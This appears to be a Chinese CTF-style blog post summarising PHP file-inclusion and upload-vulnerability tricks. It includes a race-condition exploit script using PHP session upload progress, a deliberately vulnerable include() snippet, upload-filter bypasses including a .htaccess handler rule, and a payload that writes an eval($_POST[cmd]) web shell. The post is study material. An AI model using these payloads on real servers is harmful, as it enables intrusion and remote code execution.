<!DOCTYPE html>
<html>
  <head><meta name="generator" content="Hexo 3.9.0">
<meta name="google-site-verification" content="fQ_tfBgNjE9NQcpKnGAkWapHoKuimF5lVuNuqpPXar0">
    <meta charset="utf-8">
    
    <title>上传漏洞&amp;文件包含总结 | Xiao Leung&#39;s Blog</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    
    
      <link rel="icon" href="/favicon.png">
    

    <link rel="stylesheet" href="/css/style.css">

    <link rel="stylesheet" href="/js/google-code-prettify/tomorrow-night-eighties.min.css">

  </head>

  <body>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body></html>
<header>

	<a id="logo" href="/" title="Xiao Leung&#39;s Blog">
	<img src="/favicon.png" alt="Xiao Leung&#39;s Blog"></a>
	
	
		<!--搜索栏-->
		<i class="js-toggle-search iconfont icon-search"></i>


<form class="js-search search-form search-form--modal" method="get" action="http://gushi.li" role="search">
	<div class="search-form__inner">
		<div>
			<i class="iconfont icon-search"></i>
			<input class="text-input" placeholder="Enter Key..." type="search">
		</div>
	</div>
</form>
	

	
		<!--侧边导航栏-->
		<a id="nav-toggle" href="#"><span></span></a>

<nav>
	<div class="menu-top-container">
		<ul id="menu-top" class="menu">
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/2019/08/01/HelloWorld/" target="_blank">AboutMe</a>
				</li>
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/HXCTF/" target="_blank">HXCTF</a>
				</li>
			
		</ul>
	</div>
</nav>
	

</header>

<div class="m-header ">
	<section id="hero1" class="hero">
		<div class="inner">
		</div>
	</section>
	
		<figure class="top-image" data-enable=true></figure>
	
</div>

<!--文章列表-->
<div class="wrapper">
  
    <!--文章-->
<article>
	
  
    <h1 class="post-title" itemprop="name">
      上传漏洞&amp;文件包含总结
    </h1>
  

	<div class='post-body mb'>
		<ul>
<li><strong>时间:2019年8月5日16:00:28</strong>        </li>
<li><strong>地点：福州大学</strong></li>
</ul>
<h2 id="文件包含漏洞利用技巧"><a href="#文件包含漏洞利用技巧" class="headerlink" title="文件包含漏洞利用技巧"></a>文件包含漏洞利用技巧</h2><h4 id="Apache日志文件包含"><a href="#Apache日志文件包含" class="headerlink" title="Apache日志文件包含"></a>Apache日志文件包含</h4><p>Apache会将所有请求写入日志文件中，所以如果在URl中写入一句话木马，再配合文件包含漏洞将可能直接getshell。</p>
<p>例如:提交一个get请求（使用burpsuite或者curl命令防止被url编码）</p>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20190805/15649879122522.png" alt></p>
<h4 id="PHP-SESSION进度文件包含"><a href="#PHP-SESSION进度文件包含" class="headerlink" title="PHP_SESSION进度文件包含"></a>PHP_SESSION进度文件包含</h4><p>PHP5.4会将上传的进度和时间储存在SESSION中在上传结束之后会清空SESSION,如果存在文件包含的漏洞可以采取条件竞争的形式使得包含文件成功，执行任意代码。</p>
<p>例如服务器存在一文件readme.txt是我们上传的小马文件，我们需要将其名字改成xiaoma.php,并且网站存在文件包含漏洞。</p>
<p>实验代码：</p>
<pre><code class="php">&lt;?php
$b=$_GET[&#39;f&#39;];
include &quot;$b&quot;;
?&gt;</code></pre>
<p>利用脚本：</p>
<pre><code class="python">import requests
import threading

url=&#39;http://www.sql.com/test.php&#39;
r=requests.session()
headers={
    &quot;Cookie&quot;:&#39;PHPSESSID=123&#39;
}
def POST():
    while True:
        file={
            &quot;upload&quot;:(&#39;&#39;,&#39;&#39;)  #上传无效的空文件
        }
        data={
            &quot;PHP_SESSION_UPLOAD_PROGRESS&quot;:&#39;&lt;?php rename(&quot;readme.txt&quot;,&quot;xiaoma.php&quot;);?&gt;&#39;     #恶意进度信息，
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.get(&quot;http://www.sql.com/test.php?f=../../tmp/tmp/sess_123&quot;)
        if &#39;flag&#39; not in t.text:
            print(&#39;[+]retry&#39;)
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()</code></pre>
<p>实验流程：</p>
<ul>
<li><p>上传小马图片得知小马相对地址</p>
</li>
<li><p>构造脚本：在cookie中定义PHPSESSIONID（例如：PHPSESSIONID=123）</p>
<ul>
<li>将会在var/tmp/tmp（linux环境）生成一个叫sess_123的文件</li>
<li>将会储存PHP_SESSION_UPLOAD_PROGRESS进度信息（例如：PHP_SESSION_UPLOAD_PROGRESS=<?php rename("readme.txt","xiaoma.php");?>）</li>
<li>使用文件包含漏洞包含该含义PHP恶意代码的文件将会执行修改文件的代码</li>
<li>使用多线程同时竞争</li>
</ul>
</li>
</ul>
<p>sess_123文件内容</p>
<pre><code>upload_progress_&lt;?php rename(&quot;readme.txt&quot;,&quot;readme.php&quot;);?&gt;|a:5:{s:10:&quot;start_time&quot;;i:1564991083;s:14:&quot;content_length&quot;;i:288;s:15:&quot;bytes_processed&quot;;i:288;s:4:&quot;done&quot;;b:0;s:5:&quot;files&quot;;a:1:{i:0;a:7:{s:10:&quot;field_name&quot;;s:6:&quot;upload&quot;;s:4:&quot;name&quot;;s:0:&quot;&quot;;s:8:&quot;tmp_name&quot;;N;s:5:&quot;error&quot;;i:0;s:4:&quot;done&quot;;b:0;s:10:&quot;start_time&quot;;i:1564991083;s:15:&quot;bytes_processed&quot;;i:0;}}}</code></pre><p>实验效果：<br><img src="https://www.mycute.cn/static/umeditor/php/upload/20190805/15649914396031.png" alt></p>
<p>修改后变成xiaoma.php（当然可以还可以利用代码生成写入一句话木马）</p>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20190805/15649916186321.png" alt></p>
<p><em>（该方法利用出现在强网杯JustSoSo题目中的非预期解）</em></p>
<h2 id="文件上传漏洞"><a href="#文件上传漏洞" class="headerlink" title="文件上传漏洞"></a>文件上传漏洞</h2><h4 id="前端验证"><a href="#前端验证" class="headerlink" title="前端验证"></a>前端验证</h4><p>前端验证，直接使用burp抓包修改名字。或者浏览器禁用js</p>
<h4 id="MIME验证"><a href="#MIME验证" class="headerlink" title="MIME验证"></a>MIME验证</h4><p>上传可执行脚本，修改Content-Type</p>
<h4 id="黑名单验证"><a href="#黑名单验证" class="headerlink" title="黑名单验证"></a>黑名单验证</h4><ul>
<li><p><strong>大小写绕过：</strong>Php、PhP、pHp等可Fuzz测试得到黑名单</p>
</li>
<li><p><strong>空格截断：</strong>在后缀后面使用一个空格截断检测</p>
</li>
<li><p><strong>重写绕过：</strong>主要用于将php这个关键字进行替换为空的例如如下代码</p>
</li>
</ul>
<pre><code class="php">&lt;?php
$type=str_replace(&#39;php&#39;,&#39;&#39;,$a);
?&gt;</code></pre>
<p>可以使用重写直接绕过该替换例如修改为：1.pphphp ,将可以直接绕过过滤</p>
<ul>
<li><p><strong>特殊后缀名绕过：</strong>ASP语言类：.asa    .cer    .cdx</p>
<pre><code>                          PHP语言类:    .php3    .php4    .php5
                               .net语言类：.ashx</code></pre></li>
<li><p><strong>文件头检测绕过：</strong>使用图片马或者给小马加个图片头</p>
</li>
<li><p><strong>分布式配置文件绕过：</strong>能够上传或者修改.htacess文件，是服务器在该文件夹解析jpg文件。</p>
</li>
<li><p><strong>分布式配置文件上传漏洞的实例</strong></p>
</li>
</ul>
<ol>
<li><p>建立.htaccess文件,内容如下:</p>
<pre><code>&lt;FilesMatch &quot;jpg&quot;&gt;
SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;</code></pre><p>并将其上传至服务器中</p>
</li>
</ol>
<p>并将其上传至服务器中</p>
<ol start="2">
<li>上传php木马文件名包含jpg即可造成解析</li>
</ol>
<ul>
<li><strong>上传文件类型00截断</strong></li>
</ul>
<p>burpsuite上传抓包，16进制下修改文件名与后缀之间的一个字符的16进制改成00；</p>
<p>例如：</p>
<p><img src="https://www.mycute.cn/static/umeditor/php/upload/20190805/15650128192120.png" alt></p>
<h4 id="文件解析漏洞"><a href="#文件解析漏洞" class="headerlink" title="文件解析漏洞"></a>文件解析漏洞</h4><ul>
<li><strong>Apache2.2.11解析漏洞</strong></li>
</ul>
<p>例如：cimer.php.owf.rar  “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把cimer.php.owf.rar解析成php</p>
<ul>
<li><strong>IIS6.0解析漏洞</strong></li>
</ul>
<p><strong>1.目录解析漏洞</strong></p>
<p>在网站下建立文件夹的名字为 .asp /.asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行</p>
<p>例如： /cimer.asp/1.jpg 将会被按照正常的asp文件进行解析<br><strong>2.文件解析漏洞</strong></p>
<p>在IIS6.0下，分号后面的不被解析，如 cimer.asp;.jpg会被当做cimer.asp<br>还有iis6.0默认的可执行文件除了asp还包含.asa、.cer、.cdx</p>
<p>Nginx解析漏洞<br>在默认Fast-CGI开启状况下,攻击者上传一个名字为cimer.jpg，内容为</p>
<pre><code class="PHP">&lt;?php fputs(fopen(‘shell.php’,’w’),’&lt;?php eval($_POST[cmd])?&gt;’);?&gt;</code></pre>
<p>然后访问cimer.jpg/.php,在这个目录下就会生成一句话木马shell.php</p>

	</div>
	<div class="meta split">
		
			<span>本文总阅读量 <span id="busuanzi_value_page_pv"></span> 次</span>
		
		<time class="post-date" datetime="2019-08-09T02:05:54.000Z" itemprop="datePublished">2019-08-09</time>
	</div>
</article>

<!--评论-->

	
<div class="ds-thread" data-thread-key="上传漏洞&amp;文件包含总结" data-title="上传漏洞&amp;文件包含总结" data-url="http://www.plasf.cn/2019/08/09/上传漏洞&amp;文件包含总结/"></div>
<script type="text/javascript">

var duoshuoQuery = {short_name:"yumemor"};
	(function() {
		var ds = document.createElement('script');
		ds.type = 'text/javascript';ds.async = true;
		ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
		ds.charset = 'UTF-8';
		(document.getElementsByTagName('head')[0]
		 || document.getElementsByTagName('body')[0]).appendChild(ds);
	})();
</script>


  
</div>


  <svg id="bigTriangleColor" width="100%" height="40" viewBox="0 0 100 102" preserveAspectRatio="none">
    <path d="M0 0 L50 100 L100 0 Z"></path>
  </svg>

  


  <div class="wrapper"></div>





<div class="fat-footer">
	<div class="wrapper">
		<div class="layout layout--center">
			<div class="layout__item palm-mb">
				<div class="media">
					<img class="headimg" src='/assets/blogImg/litten.png' alt='XiaoLeung'>
					<div class="media__body">
						<h4>兵至如归-Xiaoleung&#39;s Blog</h4>
						<p class='site-description'>Don&#39;t forget why we started</p>
					</div>
				</div>
				<div class="author-contact">
					<ul>
						
							
							<li>
				        		<a href="https://github.com/sharpleung" target="_blank">
				        			
				        				<i class="iconfont icon-github"></i>
				        			
				        		</a>
				        	</li>
						
					</ul>
				</div>
			</div>
		</div>
	</div>
</div>

<footer class="footer" role="contentinfo">
	<div class="wrapper wrapper--wide split split--responsive">
<a href="http://beian.miit.gov.cn/">粤ICP备18132442号-1</a><br>
<a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=44011202000643" style="display:inline-block;text-decoration:none;height:20px;line-height:20px;"><img src="http://beian.gov.cn/img/ghs.png" style="float:left;"/><p style="float:left;height:20px;line-height:20px;margin: 0px 0px 0px 5px; color:#939393;">粤公网安备 44011202000643号</p></a><br>

		
			<span>本站总访问量 <span id="busuanzi_value_site_pv"></span> 次, 访客数 <span id="busuanzi_value_site_uv"></span> 人次</span>
		
		<span>Theme by <a href="http://github.com/justpsvm">justpsvm</a>. Powered by <a href="http://hexo.io">Hexo</a></span>
	</div>
</footer>

	<!-－这里导入了 lib.js 里面涵盖了 jQuery 等框架 所以注释掉-->
	<!--<script src="http://lib.sinaapp.com/js/jquery/2.0/jquery.min.js"></script>-->
	<script src="/js/lib.js"></script>
	<script src="/js/google-code-prettify/prettify.js"></script>
	<script src="/js/module.js"></script>
	<script src="/js/script.js"></script>
	
		<script async src="http://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>
	
	<script type='text/javascript'>
		//代码高亮
		$(document).ready(function(){
	 		$('pre').addClass('prettyprint linenums').attr('style', 'overflow:auto;');
   			prettyPrint();
		});
	</script>
	<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script><script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>

<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
 <script type="text/javascript"> /* 鼠标点击特效 - 7Core.CN */ var a_idx = 0;jQuery(document).ready(function($) {$("body").click(function(e) {var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正" ,"法治", "爱国", "敬业", "诚信", "友善");var $i = $("<span/>").text(a[a_idx]); a_idx = (a_idx + 1) % a.length;var x = e.pageX,y = e.pageY;$i.css({"z-index": 100000000,"top": y - 20,"left": x,"position": "absolute","font-weight": "bold","color": "#ff6651"});$("body").append($i);$i.animate({"top": y - 180,"opacity": 0},1500,function() {$i.remove();});});}); </script>

